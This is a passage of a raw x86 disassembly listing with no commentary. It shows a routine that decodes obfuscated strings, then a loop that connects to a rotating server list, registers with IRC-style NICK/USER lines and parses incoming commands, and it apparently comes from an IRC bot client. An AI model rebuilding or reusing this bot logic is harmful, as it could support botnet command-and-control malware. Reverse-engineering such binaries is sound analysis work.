		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F70
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		nop
		call	near ptr 27E08AFh
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_447104
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_447108
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_44710C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_447110
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_447114
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_447118
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_44711C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_447120
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_447124
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_447128
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_44712C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_447130
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_447134
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_447138
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_44713C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447140
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FD70	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FD70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FD88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FD88:				; CODE XREF: ___:0040FD7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDA0	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FDA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FDA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_4395D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411330


loc_40FFA2:				; CODE XREF: sub_40FF60+13CAj
		mov	al, byte_4E6E84
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_411330
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FFCA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FFD4
		cmp	eax, ebx
		jz	loc_41010E


loc_40FFCA:				; CODE XREF: sub_40FF60+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41010E


loc_40FFD4:				; CODE XREF: sub_40FF60+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FFE9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_40FFE9:				; CODE XREF: sub_40FF60+80j
		mov	ecx, offset word_448C9E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410019
		mov	[ebp+20h], ebx


loc_410019:				; CODE XREF: sub_40FF60+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 1B6h
		push	eax
		push	offset dword_4473E4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		push	edx
		push	offset dword_4472C0
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 0DBh
		push	eax
		push	offset byte_447309
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		add	edx, 92h
		push	edx
		push	offset byte_44739B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41010E:				; CODE XREF: sub_40FF60+64j
					; sub_40FF60+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410138
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 28302B0h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410138:				; CODE XREF: sub_40FF60+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_4102C8
		mov	ax, word_44736C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_447309
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	2710h
		call	near ptr 28302B0h
		nop
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FF60+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EE1E5
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		call	near ptr 71AB2BF4h
		nop
		push	offset byte_446F70
		mov	ecx, offset byte_44739B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410287
		mov	ecx, offset byte_44739B
		call	sub_4017E4
		mov	edx, dword_44711C
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410287:				; CODE XREF: sub_40FF60+305j
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	eax, dword_447124
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		mov	ecx, dword_447120
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4102C8:				; CODE XREF: sub_40FF60+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411320
		nop
		call	near ptr 27E08AFh
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447128
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4103A0
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473E4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4103A4


loc_4103A0:				; CODE XREF: sub_40FF60+3EAj
		mov	[esp+20h+var_D], bl


loc_4103A4:				; CODE XREF: sub_40FF60+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4103C6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4103C6:				; CODE XREF: sub_40FF60+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470FC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410464
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410592
; ---------------------------------------------------------------------------


loc_410464:				; CODE XREF: sub_40FF60+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_447100
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_4105D0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447118
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410597
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410592:				; CODE XREF: sub_40FF60+4FFj
		call	sub_401226


loc_410597:				; CODE XREF: sub_40FF60+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411327
		mov	ecx, offset byte_44742D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	ecx, dword_447104
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4105D0:				; CODE XREF: sub_40FF60+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447138
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410652
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44713C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410657


loc_410652:				; CODE XREF: sub_40FF60+69Bj
		mov	[esp+20h+var_D], 1


loc_410657:				; CODE XREF: sub_40FF60+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
